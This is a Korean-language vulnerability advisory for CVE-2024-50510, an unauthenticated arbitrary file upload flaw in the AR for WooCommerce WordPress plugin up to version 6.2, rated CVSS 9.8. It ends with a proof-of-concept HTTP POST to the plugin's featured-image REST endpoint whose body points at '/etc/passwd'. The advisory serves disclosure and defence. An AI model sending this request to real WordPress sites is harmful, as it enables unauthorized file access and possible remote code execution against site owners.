CVE-2024-50510

AR For Woocommerce <= 6.2 - 인증되지 않은 임의 파일 업로드

설명

WordPress용 AR for WooCommerce 플러그인은 6.2까지의 모든 버전에서 파일 형식 검증이 누락되어 임의 파일 업로드에 취약합니다. 이를 통해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 임의 파일을 업로드할 수 있으며, 이로 인해 원격 코드 실행이 가능해질 수 있습니다.

세부 정보

• 유형: plugin
• 슬러그: ar-for-woocommerce
• 영향받는 버전: 6.2
• CVSS 점수: 9.8
• CVSS 등급: Critical
• CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-50510
• 상태: 활성

POC

POST /wp-json/ar-wc-display/featuredimage/ HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/json
Content-Length: 41

{"id":123,"featured_image":"/etc/passwd"}